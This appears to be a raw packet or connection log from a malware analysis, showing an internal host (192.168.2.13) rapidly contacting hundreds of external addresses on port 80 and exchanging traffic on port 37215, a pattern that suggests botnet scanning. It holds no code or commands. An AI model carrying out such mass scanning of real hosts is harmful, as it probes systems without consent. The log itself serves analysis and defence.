Oct 29, 2024 20:52:38.471985102 CET	37215	41054	197.1.115.138	192.168.2.13
Oct 29, 2024 20:52:38.471997023 CET	37215	54838	197.114.13.166	192.168.2.13
Oct 29, 2024 20:52:38.472002029 CET	37215	57752	197.3.51.113	192.168.2.13
Oct 29, 2024 20:52:38.472012043 CET	37215	55080	197.5.132.46	192.168.2.13
Oct 29, 2024 20:52:38.472038031 CET	37215	59260	197.143.247.239	192.168.2.13
Oct 29, 2024 20:52:38.472048044 CET	37215	37806	197.84.161.177	192.168.2.13
Oct 29, 2024 20:52:38.472053051 CET	37215	34384	197.63.101.72	192.168.2.13
Oct 29, 2024 20:52:38.472062111 CET	37215	50224	197.61.227.3	192.168.2.13
Oct 29, 2024 20:52:38.472067118 CET	37215	38712	197.21.53.53	192.168.2.13
Oct 29, 2024 20:52:38.472076893 CET	37215	57180	197.20.183.134	192.168.2.13
Oct 29, 2024 20:52:38.472081900 CET	37215	41278	197.75.251.41	192.168.2.13
Oct 29, 2024 20:52:38.472090960 CET	37215	33180	197.232.133.202	192.168.2.13
Oct 29, 2024 20:52:38.472095966 CET	37215	43566	197.61.144.176	192.168.2.13
Oct 29, 2024 20:52:38.472106934 CET	37215	36660	197.125.60.143	192.168.2.13
Oct 29, 2024 20:52:38.472111940 CET	37215	37040	197.58.85.58	192.168.2.13
Oct 29, 2024 20:52:38.472116947 CET	37215	51354	197.137.202.39	192.168.2.13
Oct 29, 2024 20:52:38.472136021 CET	37215	40180	197.176.33.243	192.168.2.13
Oct 29, 2024 20:52:38.472141027 CET	37215	58102	197.95.90.227	192.168.2.13
Oct 29, 2024 20:52:38.472146034 CET	37215	48404	197.103.124.224	192.168.2.13
Oct 29, 2024 20:52:38.472151041 CET	37215	33648	197.212.208.236	192.168.2.13
Oct 29, 2024 20:52:38.472161055 CET	37215	34384	197.64.21.215	192.168.2.13
Oct 29, 2024 20:52:38.472166061 CET	37215	42884	197.247.176.62	192.168.2.13
Oct 29, 2024 20:52:38.472191095 CET	37215	47914	197.139.43.111	192.168.2.13
Oct 29, 2024 20:52:38.472548962 CET	37215	46116	197.62.222.62	192.168.2.13
Oct 29, 2024 20:52:38.499861956 CET	37215	51386	197.200.27.247	192.168.2.13
Oct 29, 2024 20:52:38.500000000 CET	37215	37498	197.130.144.64	192.168.2.13
Oct 29, 2024 20:52:38.500005960 CET	37215	45844	197.149.3.204	192.168.2.13
Oct 29, 2024 20:52:38.500137091 CET	37215	42808	197.243.51.19	192.168.2.13
Oct 29, 2024 20:52:38.507982016 CET	37215	51160	197.137.219.11	192.168.2.13
Oct 29, 2024 20:52:38.902154922 CET	8080	46638	62.3.38.167	192.168.2.13
Oct 29, 2024 20:52:38.902329922 CET	46638	8080	192.168.2.13	62.3.38.167
Oct 29, 2024 20:52:38.921027899 CET	8080	34170	31.128.214.100	192.168.2.13
Oct 29, 2024 20:52:38.921185970 CET	34170	8080	192.168.2.13	31.128.214.100
Oct 29, 2024 20:52:39.030952930 CET	37215	33180	197.232.133.202	192.168.2.13
Oct 29, 2024 20:52:39.031085014 CET	33180	37215	192.168.2.13	197.232.133.202
Oct 29, 2024 20:52:39.042001963 CET	56350	80	192.168.2.13	112.188.9.49
Oct 29, 2024 20:52:39.042012930 CET	56350	80	192.168.2.13	112.32.81.78
Oct 29, 2024 20:52:39.042012930 CET	56350	80	192.168.2.13	112.210.54.18
Oct 29, 2024 20:52:39.042062998 CET	56350	80	192.168.2.13	112.201.253.175
Oct 29, 2024 20:52:39.042069912 CET	56350	80	192.168.2.13	112.80.121.174
Oct 29, 2024 20:52:39.042069912 CET	56350	80	192.168.2.13	112.208.62.49
Oct 29, 2024 20:52:39.042083025 CET	56350	80	192.168.2.13	112.251.67.242
Oct 29, 2024 20:52:39.042113066 CET	56350	80	192.168.2.13	112.46.59.89
Oct 29, 2024 20:52:39.042128086 CET	56350	80	192.168.2.13	112.68.236.53
Oct 29, 2024 20:52:39.042129040 CET	56350	80	192.168.2.13	112.78.49.14
Oct 29, 2024 20:52:39.042165995 CET	56350	80	192.168.2.13	112.236.234.111
Oct 29, 2024 20:52:39.042166948 CET	56350	80	192.168.2.13	112.137.187.136
Oct 29, 2024 20:52:39.042200089 CET	56350	80	192.168.2.13	112.132.94.25
Oct 29, 2024 20:52:39.042201996 CET	56350	80	192.168.2.13	112.169.230.148
Oct 29, 2024 20:52:39.042212963 CET	56350	80	192.168.2.13	112.219.132.3
Oct 29, 2024 20:52:39.042242050 CET	56350	80	192.168.2.13	112.240.22.240
Oct 29, 2024 20:52:39.042243958 CET	56350	80	192.168.2.13	112.146.173.153
Oct 29, 2024 20:52:39.042248011 CET	56350	80	192.168.2.13	112.243.196.160
Oct 29, 2024 20:52:39.042303085 CET	56350	80	192.168.2.13	112.18.191.122
Oct 29, 2024 20:52:39.042304039 CET	56350	80	192.168.2.13	112.48.20.238
Oct 29, 2024 20:52:39.042306900 CET	56350	80	192.168.2.13	112.54.50.154
Oct 29, 2024 20:52:39.042313099 CET	56350	80	192.168.2.13	112.29.142.126
Oct 29, 2024 20:52:39.042408943 CET	56350	80	192.168.2.13	112.26.149.27
Oct 29, 2024 20:52:39.042412996 CET	56350	80	192.168.2.13	112.162.162.145
Oct 29, 2024 20:52:39.042444944 CET	56350	80	192.168.2.13	112.68.210.85
Oct 29, 2024 20:52:39.042445898 CET	56350	80	192.168.2.13	112.137.236.68
Oct 29, 2024 20:52:39.042453051 CET	56350	80	192.168.2.13	112.139.234.14
Oct 29, 2024 20:52:39.042462111 CET	56350	80	192.168.2.13	112.91.12.93
Oct 29, 2024 20:52:39.042469978 CET	56350	80	192.168.2.13	112.136.177.5
Oct 29, 2024 20:52:39.042504072 CET	56350	80	192.168.2.13	112.195.1.61
Oct 29, 2024 20:52:39.042510986 CET	56350	80	192.168.2.13	112.103.9.68
Oct 29, 2024 20:52:39.042565107 CET	56350	80	192.168.2.13	112.181.45.88
Oct 29, 2024 20:52:39.042567015 CET	56350	80	192.168.2.13	112.137.30.15
Oct 29, 2024 20:52:39.042567015 CET	56350	80	192.168.2.13	112.161.8.15
Oct 29, 2024 20:52:39.042608023 CET	56350	80	192.168.2.13	112.29.47.249
Oct 29, 2024 20:52:39.042608023 CET	56350	80	192.168.2.13	112.68.82.240
Oct 29, 2024 20:52:39.042610884 CET	56350	80	192.168.2.13	112.134.31.96
Oct 29, 2024 20:52:39.042623043 CET	56350	80	192.168.2.13	112.238.96.196
Oct 29, 2024 20:52:39.042658091 CET	56350	80	192.168.2.13	112.39.240.107
Oct 29, 2024 20:52:39.042675018 CET	56350	80	192.168.2.13	112.248.22.72
Oct 29, 2024 20:52:39.042707920 CET	56350	80	192.168.2.13	112.96.109.214
Oct 29, 2024 20:52:39.042710066 CET	56350	80	192.168.2.13	112.133.158.139
Oct 29, 2024 20:52:39.042709112 CET	56350	80	192.168.2.13	112.96.251.55
Oct 29, 2024 20:52:39.042727947 CET	56350	80	192.168.2.13	112.186.187.232
Oct 29, 2024 20:52:39.042732000 CET	56350	80	192.168.2.13	112.228.205.121
Oct 29, 2024 20:52:39.042762041 CET	56350	80	192.168.2.13	112.148.118.153
Oct 29, 2024 20:52:39.042777061 CET	56350	80	192.168.2.13	112.156.191.193
Oct 29, 2024 20:52:39.042777061 CET	56350	80	192.168.2.13	112.208.3.16
Oct 29, 2024 20:52:39.042802095 CET	56350	80	192.168.2.13	112.253.238.253
Oct 29, 2024 20:52:39.042809963 CET	56350	80	192.168.2.13	112.54.139.17
Oct 29, 2024 20:52:39.042865992 CET	56350	80	192.168.2.13	112.141.178.72
Oct 29, 2024 20:52:39.042866945 CET	56350	80	192.168.2.13	112.25.222.12
Oct 29, 2024 20:52:39.042866945 CET	56350	80	192.168.2.13	112.180.161.74
Oct 29, 2024 20:52:39.042920113 CET	56350	80	192.168.2.13	112.26.102.62
Oct 29, 2024 20:52:39.042927027 CET	56350	80	192.168.2.13	112.24.198.202
Oct 29, 2024 20:52:39.042927980 CET	56350	80	192.168.2.13	112.84.244.112
Oct 29, 2024 20:52:39.042952061 CET	56350	80	192.168.2.13	112.62.4.211
Oct 29, 2024 20:52:39.042996883 CET	56350	80	192.168.2.13	112.30.187.254
Oct 29, 2024 20:52:39.043050051 CET	56350	80	192.168.2.13	112.59.178.197
Oct 29, 2024 20:52:39.043051004 CET	56350	80	192.168.2.13	112.242.223.243
Oct 29, 2024 20:52:39.043051958 CET	56350	80	192.168.2.13	112.139.195.241
Oct 29, 2024 20:52:39.043051958 CET	56350	80	192.168.2.13	112.72.251.20
Oct 29, 2024 20:52:39.043051958 CET	56350	80	192.168.2.13	112.62.110.155
Oct 29, 2024 20:52:39.043051958 CET	56350	80	192.168.2.13	112.212.43.187
Oct 29, 2024 20:52:39.043096066 CET	56350	80	192.168.2.13	112.180.170.105
Oct 29, 2024 20:52:39.043096066 CET	56350	80	192.168.2.13	112.76.31.155
Oct 29, 2024 20:52:39.043096066 CET	56350	80	192.168.2.13	112.79.244.228
Oct 29, 2024 20:52:39.043169022 CET	56350	80	192.168.2.13	112.43.48.102
Oct 29, 2024 20:52:39.043169975 CET	56350	80	192.168.2.13	112.121.172.223
Oct 29, 2024 20:52:39.043171883 CET	56350	80	192.168.2.13	112.17.121.208
Oct 29, 2024 20:52:39.043184042 CET	56350	80	192.168.2.13	112.253.209.160
Oct 29, 2024 20:52:39.043221951 CET	56350	80	192.168.2.13	112.6.30.25
Oct 29, 2024 20:52:39.043225050 CET	56350	80	192.168.2.13	112.10.14.105
Oct 29, 2024 20:52:39.043252945 CET	56350	80	192.168.2.13	112.170.109.54
Oct 29, 2024 20:52:39.043322086 CET	56350	80	192.168.2.13	112.208.93.61
Oct 29, 2024 20:52:39.043330908 CET	56350	80	192.168.2.13	112.22.157.43
Oct 29, 2024 20:52:39.043330908 CET	56350	80	192.168.2.13	112.249.73.122
Oct 29, 2024 20:52:39.043332100 CET	56350	80	192.168.2.13	112.251.166.197
Oct 29, 2024 20:52:39.043332100 CET	56350	80	192.168.2.13	112.180.164.238
Oct 29, 2024 20:52:39.043335915 CET	56350	80	192.168.2.13	112.135.135.13
Oct 29, 2024 20:52:39.043380976 CET	56350	80	192.168.2.13	112.52.109.27
Oct 29, 2024 20:52:39.043386936 CET	56350	80	192.168.2.13	112.83.34.117
Oct 29, 2024 20:52:39.043406010 CET	56350	80	192.168.2.13	112.66.169.20
Oct 29, 2024 20:52:39.043452978 CET	56350	80	192.168.2.13	112.2.179.37
Oct 29, 2024 20:52:39.043454885 CET	56350	80	192.168.2.13	112.125.53.225
Oct 29, 2024 20:52:39.043503046 CET	56350	80	192.168.2.13	112.195.161.168
Oct 29, 2024 20:52:39.043509960 CET	56350	80	192.168.2.13	112.16.187.76
Oct 29, 2024 20:52:39.043524981 CET	56350	80	192.168.2.13	112.214.170.115
Oct 29, 2024 20:52:39.043534040 CET	56350	80	192.168.2.13	112.188.26.67
Oct 29, 2024 20:52:39.043564081 CET	56350	80	192.168.2.13	112.160.216.105
Oct 29, 2024 20:52:39.043566942 CET	56350	80	192.168.2.13	112.140.21.134
Oct 29, 2024 20:52:39.043620110 CET	56350	80	192.168.2.13	112.97.187.114
Oct 29, 2024 20:52:39.043643951 CET	56350	80	192.168.2.13	112.48.236.45
Oct 29, 2024 20:52:39.043646097 CET	56350	80	192.168.2.13	112.116.80.8
Oct 29, 2024 20:52:39.043668032 CET	56350	80	192.168.2.13	112.26.1.4
Oct 29, 2024 20:52:39.043674946 CET	56350	80	192.168.2.13	112.148.124.116
Oct 29, 2024 20:52:39.043689013 CET	56350	80	192.168.2.13	112.248.33.209
Oct 29, 2024 20:52:39.043710947 CET	56350	80	192.168.2.13	112.68.181.22
Oct 29, 2024 20:52:39.043736935 CET	56350	80	192.168.2.13	112.94.243.60
Oct 29, 2024 20:52:39.043751955 CET	56350	80	192.168.2.13	112.139.142.239
Oct 29, 2024 20:52:39.043768883 CET	56350	80	192.168.2.13	112.200.20.53
Oct 29, 2024 20:52:39.043803930 CET	56350	80	192.168.2.13	112.209.133.206
Oct 29, 2024 20:52:39.043803930 CET	56350	80	192.168.2.13	112.144.187.53
Oct 29, 2024 20:52:39.043838024 CET	56350	80	192.168.2.13	112.46.120.61
Oct 29, 2024 20:52:39.043863058 CET	56350	80	192.168.2.13	112.54.195.230
Oct 29, 2024 20:52:39.043873072 CET	56350	80	192.168.2.13	112.197.229.186
Oct 29, 2024 20:52:39.043912888 CET	56350	80	192.168.2.13	112.199.30.101
Oct 29, 2024 20:52:39.043912888 CET	56350	80	192.168.2.13	112.72.252.34
Oct 29, 2024 20:52:39.043927908 CET	56350	80	192.168.2.13	112.125.28.44
Oct 29, 2024 20:52:39.043929100 CET	56350	80	192.168.2.13	112.17.119.39
Oct 29, 2024 20:52:39.043955088 CET	56350	80	192.168.2.13	112.128.217.207
Oct 29, 2024 20:52:39.043967009 CET	56350	80	192.168.2.13	112.30.22.230
Oct 29, 2024 20:52:39.044035912 CET	56350	80	192.168.2.13	112.176.136.225
Oct 29, 2024 20:52:39.044049978 CET	56350	80	192.168.2.13	112.46.243.28
Oct 29, 2024 20:52:39.044050932 CET	56350	80	192.168.2.13	112.179.189.94
Oct 29, 2024 20:52:39.044051886 CET	56350	80	192.168.2.13	112.220.56.1
Oct 29, 2024 20:52:39.044080973 CET	56350	80	192.168.2.13	112.112.219.128
Oct 29, 2024 20:52:39.044089079 CET	56350	80	192.168.2.13	112.192.177.66
Oct 29, 2024 20:52:39.044089079 CET	56350	80	192.168.2.13	112.24.133.145
Oct 29, 2024 20:52:39.044164896 CET	56350	80	192.168.2.13	112.60.203.195
Oct 29, 2024 20:52:39.044168949 CET	56350	80	192.168.2.13	112.251.97.90
Oct 29, 2024 20:52:39.044168949 CET	56350	80	192.168.2.13	112.157.245.143
Oct 29, 2024 20:52:39.044224977 CET	56350	80	192.168.2.13	112.82.149.29
Oct 29, 2024 20:52:39.044224977 CET	56350	80	192.168.2.13	112.95.65.207
Oct 29, 2024 20:52:39.044236898 CET	56350	80	192.168.2.13	112.213.9.26
Oct 29, 2024 20:52:39.044250011 CET	56350	80	192.168.2.13	112.142.55.141
Oct 29, 2024 20:52:39.044250011 CET	56350	80	192.168.2.13	112.139.158.17
Oct 29, 2024 20:52:39.044275045 CET	56350	80	192.168.2.13	112.79.237.29
Oct 29, 2024 20:52:39.044325113 CET	56350	80	192.168.2.13	112.207.21.96
Oct 29, 2024 20:52:39.044325113 CET	56350	80	192.168.2.13	112.144.49.141
Oct 29, 2024 20:52:39.044338942 CET	56350	80	192.168.2.13	112.252.55.226
Oct 29, 2024 20:52:39.044341087 CET	56350	80	192.168.2.13	112.39.112.177
Oct 29, 2024 20:52:39.044356108 CET	56350	80	192.168.2.13	112.86.56.17
Oct 29, 2024 20:52:39.044405937 CET	56350	80	192.168.2.13	112.28.254.1
Oct 29, 2024 20:52:39.044408083 CET	56350	80	192.168.2.13	112.43.79.215
Oct 29, 2024 20:52:39.044436932 CET	56350	80	192.168.2.13	112.91.216.202
Oct 29, 2024 20:52:39.044440985 CET	56350	80	192.168.2.13	112.21.205.153
Oct 29, 2024 20:52:39.044446945 CET	56350	80	192.168.2.13	112.144.50.195
Oct 29, 2024 20:52:39.044452906 CET	56350	80	192.168.2.13	112.86.33.66
Oct 29, 2024 20:52:39.044470072 CET	56350	80	192.168.2.13	112.113.251.84
Oct 29, 2024 20:52:39.044524908 CET	56350	80	192.168.2.13	112.228.35.62
Oct 29, 2024 20:52:39.044539928 CET	56350	80	192.168.2.13	112.226.45.167
Oct 29, 2024 20:52:39.044542074 CET	56350	80	192.168.2.13	112.29.103.99
Oct 29, 2024 20:52:39.044573069 CET	56350	80	192.168.2.13	112.233.104.151
Oct 29, 2024 20:52:39.044589996 CET	56350	80	192.168.2.13	112.72.190.126
Oct 29, 2024 20:52:39.044601917 CET	56350	80	192.168.2.13	112.57.90.83
Oct 29, 2024 20:52:39.044604063 CET	56350	80	192.168.2.13	112.226.160.31
Oct 29, 2024 20:52:39.044605017 CET	56350	80	192.168.2.13	112.241.92.200
Oct 29, 2024 20:52:39.044653893 CET	56350	80	192.168.2.13	112.0.217.45
Oct 29, 2024 20:52:39.044656992 CET	56350	80	192.168.2.13	112.50.51.86
Oct 29, 2024 20:52:39.044657946 CET	56350	80	192.168.2.13	112.21.60.129
Oct 29, 2024 20:52:39.044748068 CET	56350	80	192.168.2.13	112.65.54.89
Oct 29, 2024 20:52:39.044753075 CET	56350	80	192.168.2.13	112.170.121.116
Oct 29, 2024 20:52:39.044753075 CET	56350	80	192.168.2.13	112.143.222.32
Oct 29, 2024 20:52:39.044754028 CET	56350	80	192.168.2.13	112.215.199.180
Oct 29, 2024 20:52:39.044761896 CET	56350	80	192.168.2.13	112.6.53.163
Oct 29, 2024 20:52:39.044771910 CET	56350	80	192.168.2.13	112.251.151.189
Oct 29, 2024 20:52:39.044791937 CET	56350	80	192.168.2.13	112.92.12.245
Oct 29, 2024 20:52:39.044791937 CET	56350	80	192.168.2.13	112.42.30.149
Oct 29, 2024 20:52:39.044816017 CET	56350	80	192.168.2.13	112.73.58.222
Oct 29, 2024 20:52:39.046152115 CET	51178	80	192.168.2.13	95.183.176.62
Oct 29, 2024 20:52:39.047205925 CET	39006	80	192.168.2.13	95.126.222.62
Oct 29, 2024 20:52:39.048051119 CET	80	56350	112.188.9.49	192.168.2.13
Oct 29, 2024 20:52:39.048058033 CET	80	56350	112.32.81.78	192.168.2.13
Oct 29, 2024 20:52:39.048069954 CET	80	56350	112.210.54.18	192.168.2.13
Oct 29, 2024 20:52:39.048095942 CET	80	56350	112.201.253.175	192.168.2.13
Oct 29, 2024 20:52:39.048101902 CET	80	56350	112.80.121.174	192.168.2.13
Oct 29, 2024 20:52:39.048110962 CET	56350	80	192.168.2.13	112.188.9.49
Oct 29, 2024 20:52:39.048122883 CET	56350	80	192.168.2.13	112.210.54.18
Oct 29, 2024 20:52:39.048122883 CET	56350	80	192.168.2.13	112.32.81.78
Oct 29, 2024 20:52:39.048145056 CET	56350	80	192.168.2.13	112.80.121.174
Oct 29, 2024 20:52:39.048146009 CET	56350	80	192.168.2.13	112.201.253.175
Oct 29, 2024 20:52:39.048218966 CET	44390	80	192.168.2.13	95.219.59.109
Oct 29, 2024 20:52:39.048418045 CET	80	56350	112.251.67.242	192.168.2.13
Oct 29, 2024 20:52:39.048432112 CET	80	56350	112.208.62.49	192.168.2.13
Oct 29, 2024 20:52:39.048438072 CET	80	56350	112.46.59.89	192.168.2.13
Oct 29, 2024 20:52:39.048451900 CET	80	56350	112.78.49.14	192.168.2.13
Oct 29, 2024 20:52:39.048456907 CET	80	56350	112.68.236.53	192.168.2.13
Oct 29, 2024 20:52:39.048461914 CET	80	56350	112.236.234.111	192.168.2.13
Oct 29, 2024 20:52:39.048465967 CET	80	56350	112.137.187.136	192.168.2.13
Oct 29, 2024 20:52:39.048474073 CET	80	56350	112.132.94.25	192.168.2.13
Oct 29, 2024 20:52:39.048480034 CET	80	56350	112.169.230.148	192.168.2.13
Oct 29, 2024 20:52:39.048484087 CET	80	56350	112.219.132.3	192.168.2.13
Oct 29, 2024 20:52:39.048486948 CET	56350	80	192.168.2.13	112.208.62.49
Oct 29, 2024 20:52:39.048486948 CET	56350	80	192.168.2.13	112.46.59.89
Oct 29, 2024 20:52:39.048489094 CET	80	56350	112.146.173.153	192.168.2.13
Oct 29, 2024 20:52:39.048494101 CET	56350	80	192.168.2.13	112.68.236.53
Oct 29, 2024 20:52:39.048501968 CET	80	56350	112.240.22.240	192.168.2.13
Oct 29, 2024 20:52:39.048507929 CET	56350	80	192.168.2.13	112.251.67.242
Oct 29, 2024 20:52:39.048507929 CET	56350	80	192.168.2.13	112.78.49.14
Oct 29, 2024 20:52:39.048517942 CET	56350	80	192.168.2.13	112.236.234.111
Oct 29, 2024 20:52:39.048522949 CET	56350	80	192.168.2.13	112.219.132.3
Oct 29, 2024 20:52:39.048525095 CET	56350	80	192.168.2.13	112.146.173.153
Oct 29, 2024 20:52:39.048530102 CET	56350	80	192.168.2.13	112.132.94.25
Oct 29, 2024 20:52:39.048538923 CET	56350	80	192.168.2.13	112.137.187.136
Oct 29, 2024 20:52:39.048538923 CET	56350	80	192.168.2.13	112.240.22.240
Oct 29, 2024 20:52:39.048541069 CET	80	56350	112.243.196.160	192.168.2.13
Oct 29, 2024 20:52:39.048547983 CET	56350	80	192.168.2.13	112.169.230.148
Oct 29, 2024 20:52:39.048552990 CET	80	56350	112.18.191.122	192.168.2.13
Oct 29, 2024 20:52:39.048558950 CET	80	56350	112.48.20.238	192.168.2.13
Oct 29, 2024 20:52:39.048568010 CET	80	56350	112.54.50.154	192.168.2.13
Oct 29, 2024 20:52:39.048574924 CET	80	56350	112.29.142.126	192.168.2.13
Oct 29, 2024 20:52:39.048578024 CET	56350	80	192.168.2.13	112.243.196.160
Oct 29, 2024 20:52:39.048582077 CET	80	56350	112.26.149.27	192.168.2.13
Oct 29, 2024 20:52:39.048593044 CET	80	56350	112.162.162.145	192.168.2.13
Oct 29, 2024 20:52:39.048597097 CET	80	56350	112.68.210.85	192.168.2.13
Oct 29, 2024 20:52:39.048605919 CET	80	56350	112.137.236.68	192.168.2.13
Oct 29, 2024 20:52:39.048609972 CET	56350	80	192.168.2.13	112.54.50.154
Oct 29, 2024 20:52:39.048610926 CET	56350	80	192.168.2.13	112.18.191.122
Oct 29, 2024 20:52:39.048612118 CET	80	56350	112.139.234.14	192.168.2.13
Oct 29, 2024 20:52:39.048613071 CET	56350	80	192.168.2.13	112.48.20.238
Oct 29, 2024 20:52:39.048623085 CET	80	56350	112.91.12.93	192.168.2.13
Oct 29, 2024 20:52:39.048623085 CET	56350	80	192.168.2.13	112.26.149.27
Oct 29, 2024 20:52:39.048626900 CET	80	56350	112.136.177.5	192.168.2.13
Oct 29, 2024 20:52:39.048635960 CET	80	56350	112.195.1.61	192.168.2.13
Oct 29, 2024 20:52:39.048640966 CET	56350	80	192.168.2.13	112.68.210.85
Oct 29, 2024 20:52:39.048640966 CET	80	56350	112.103.9.68	192.168.2.13
Oct 29, 2024 20:52:39.048650026 CET	56350	80	192.168.2.13	112.139.234.14
Oct 29, 2024 20:52:39.048650026 CET	56350	80	192.168.2.13	112.162.162.145
Oct 29, 2024 20:52:39.048655033 CET	56350	80	192.168.2.13	112.137.236.68
Oct 29, 2024 20:52:39.048669100 CET	56350	80	192.168.2.13	112.29.142.126
Oct 29, 2024 20:52:39.048671961 CET	56350	80	192.168.2.13	112.136.177.5
Oct 29, 2024 20:52:39.048679113 CET	56350	80	192.168.2.13	112.195.1.61
Oct 29, 2024 20:52:39.048686981 CET	56350	80	192.168.2.13	112.91.12.93
Oct 29, 2024 20:52:39.048691988 CET	56350	80	192.168.2.13	112.103.9.68
Oct 29, 2024 20:52:39.048907042 CET	80	56350	112.181.45.88	192.168.2.13
Oct 29, 2024 20:52:39.048913002 CET	80	56350	112.137.30.15	192.168.2.13
Oct 29, 2024 20:52:39.048918009 CET	80	56350	112.161.8.15	192.168.2.13
Oct 29, 2024 20:52:39.048923016 CET	80	56350	112.29.47.249	192.168.2.13
Oct 29, 2024 20:52:39.048933029 CET	80	56350	112.68.82.240	192.168.2.13
Oct 29, 2024 20:52:39.048938036 CET	80	56350	112.134.31.96	192.168.2.13
Oct 29, 2024 20:52:39.048947096 CET	80	56350	112.238.96.196	192.168.2.13
Oct 29, 2024 20:52:39.048954964 CET	80	56350	112.39.240.107	192.168.2.13
Oct 29, 2024 20:52:39.048968077 CET	56350	80	192.168.2.13	112.137.30.15
Oct 29, 2024 20:52:39.048968077 CET	56350	80	192.168.2.13	112.161.8.15
Oct 29, 2024 20:52:39.048969030 CET	56350	80	192.168.2.13	112.29.47.249
Oct 29, 2024 20:52:39.048981905 CET	80	56350	112.248.22.72	192.168.2.13
Oct 29, 2024 20:52:39.048986912 CET	80	56350	112.96.109.214	192.168.2.13
Oct 29, 2024 20:52:39.048993111 CET	56350	80	192.168.2.13	112.181.45.88
Oct 29, 2024 20:52:39.048998117 CET	56350	80	192.168.2.13	112.238.96.196
Oct 29, 2024 20:52:39.048998117 CET	56350	80	192.168.2.13	112.134.31.96
Oct 29, 2024 20:52:39.048998117 CET	56350	80	192.168.2.13	112.68.82.240
Oct 29, 2024 20:52:39.049010038 CET	80	56350	112.133.158.139	192.168.2.13
Oct 29, 2024 20:52:39.049016953 CET	80	56350	112.96.251.55	192.168.2.13
Oct 29, 2024 20:52:39.049020052 CET	56350	80	192.168.2.13	112.39.240.107
Oct 29, 2024 20:52:39.049026966 CET	80	56350	112.228.205.121	192.168.2.13
Oct 29, 2024 20:52:39.049029112 CET	56350	80	192.168.2.13	112.248.22.72
Oct 29, 2024 20:52:39.049031973 CET	80	56350	112.186.187.232	192.168.2.13
Oct 29, 2024 20:52:39.049036026 CET	56350	80	192.168.2.13	112.96.109.214
Oct 29, 2024 20:52:39.049037933 CET	80	56350	112.148.118.153	192.168.2.13
Oct 29, 2024 20:52:39.049042940 CET	80	56350	112.156.191.193	192.168.2.13
Oct 29, 2024 20:52:39.049052954 CET	80	56350	112.208.3.16	192.168.2.13
Oct 29, 2024 20:52:39.049057961 CET	80	56350	112.253.238.253	192.168.2.13
Oct 29, 2024 20:52:39.049063921 CET	56350	80	192.168.2.13	112.96.251.55
Oct 29, 2024 20:52:39.049068928 CET	56350	80	192.168.2.13	112.133.158.139
Oct 29, 2024 20:52:39.049081087 CET	80	56350	112.54.139.17	192.168.2.13
Oct 29, 2024 20:52:39.049082994 CET	56350	80	192.168.2.13	112.228.205.121
Oct 29, 2024 20:52:39.049086094 CET	56350	80	192.168.2.13	112.186.187.232
Oct 29, 2024 20:52:39.049112082 CET	80	56350	112.141.178.72	192.168.2.13
Oct 29, 2024 20:52:39.049114943 CET	56350	80	192.168.2.13	112.208.3.16
Oct 29, 2024 20:52:39.049114943 CET	56350	80	192.168.2.13	112.156.191.193
Oct 29, 2024 20:52:39.049117088 CET	56350	80	192.168.2.13	112.148.118.153
Oct 29, 2024 20:52:39.049117088 CET	80	56350	112.25.222.12	192.168.2.13
Oct 29, 2024 20:52:39.049129009 CET	80	56350	112.180.161.74	192.168.2.13
Oct 29, 2024 20:52:39.049135923 CET	80	56350	112.26.102.62	192.168.2.13
Oct 29, 2024 20:52:39.049140930 CET	80	56350	112.24.198.202	192.168.2.13
Oct 29, 2024 20:52:39.049143076 CET	56350	80	192.168.2.13	112.54.139.17
Oct 29, 2024 20:52:39.049144983 CET	56350	80	192.168.2.13	112.253.238.253
Oct 29, 2024 20:52:39.049144983 CET	80	56350	112.84.244.112	192.168.2.13
Oct 29, 2024 20:52:39.049144983 CET	60300	80	192.168.2.13	95.172.75.255
Oct 29, 2024 20:52:39.049158096 CET	56350	80	192.168.2.13	112.141.178.72
Oct 29, 2024 20:52:39.049158096 CET	80	56350	112.62.4.211	192.168.2.13
Oct 29, 2024 20:52:39.049163103 CET	80	56350	112.30.187.254	192.168.2.13
Oct 29, 2024 20:52:39.049168110 CET	80	56350	112.59.178.197	192.168.2.13
Oct 29, 2024 20:52:39.049173117 CET	56350	80	192.168.2.13	112.26.102.62
Oct 29, 2024 20:52:39.049175024 CET	56350	80	192.168.2.13	112.25.222.12
Oct 29, 2024 20:52:39.049175024 CET	56350	80	192.168.2.13	112.180.161.74
Oct 29, 2024 20:52:39.049192905 CET	56350	80	192.168.2.13	112.62.4.211
Oct 29, 2024 20:52:39.049196005 CET	56350	80	192.168.2.13	112.84.244.112
Oct 29, 2024 20:52:39.049201012 CET	56350	80	192.168.2.13	112.24.198.202
Oct 29, 2024 20:52:39.049211025 CET	56350	80	192.168.2.13	112.30.187.254
Oct 29, 2024 20:52:39.049221992 CET	56350	80	192.168.2.13	112.59.178.197
Oct 29, 2024 20:52:39.050004005 CET	51972	80	192.168.2.13	95.4.208.126
Oct 29, 2024 20:52:39.051193953 CET	36986	80	192.168.2.13	95.2.21.213
Oct 29, 2024 20:52:39.052097082 CET	41538	80	192.168.2.13	95.77.220.247
Oct 29, 2024 20:52:39.052994967 CET	33372	80	192.168.2.13	95.112.181.195
Oct 29, 2024 20:52:39.053695917 CET	80	44390	95.219.59.109	192.168.2.13
Oct 29, 2024 20:52:39.053812027 CET	44390	80	192.168.2.13	95.219.59.109
Oct 29, 2024 20:52:39.054105043 CET	52208	80	192.168.2.13	95.185.127.243
Oct 29, 2024 20:52:39.055074930 CET	57316	80	192.168.2.13	95.106.58.190
Oct 29, 2024 20:52:39.056051016 CET	33366	80	192.168.2.13	95.76.201.9
Oct 29, 2024 20:52:39.056960106 CET	41366	80	192.168.2.13	95.127.127.127
Oct 29, 2024 20:52:39.057847977 CET	53766	80	192.168.2.13	95.233.58.100
Oct 29, 2024 20:52:39.058901072 CET	53194	80	192.168.2.13	95.192.3.156
Oct 29, 2024 20:52:39.060075045 CET	60164	80	192.168.2.13	95.182.169.246
Oct 29, 2024 20:52:39.061309099 CET	39904	80	192.168.2.13	95.142.94.92
Oct 29, 2024 20:52:39.061424017 CET	80	33366	95.76.201.9	192.168.2.13
Oct 29, 2024 20:52:39.061477900 CET	33366	80	192.168.2.13	95.76.201.9
Oct 29, 2024 20:52:39.062216043 CET	43890	80	192.168.2.13	95.40.235.38
Oct 29, 2024 20:52:39.063375950 CET	59270	80	192.168.2.13	95.112.141.165
Oct 29, 2024 20:52:39.064321041 CET	45728	80	192.168.2.13	95.174.148.40
Oct 29, 2024 20:52:39.065589905 CET	54604	80	192.168.2.13	95.86.81.224
Oct 29, 2024 20:52:39.066427946 CET	41476	80	192.168.2.13	95.181.142.151
Oct 29, 2024 20:52:39.067238092 CET	56350	80	192.168.2.13	95.160.174.232
Oct 29, 2024 20:52:39.068100929 CET	58836	80	192.168.2.13	95.47.14.229
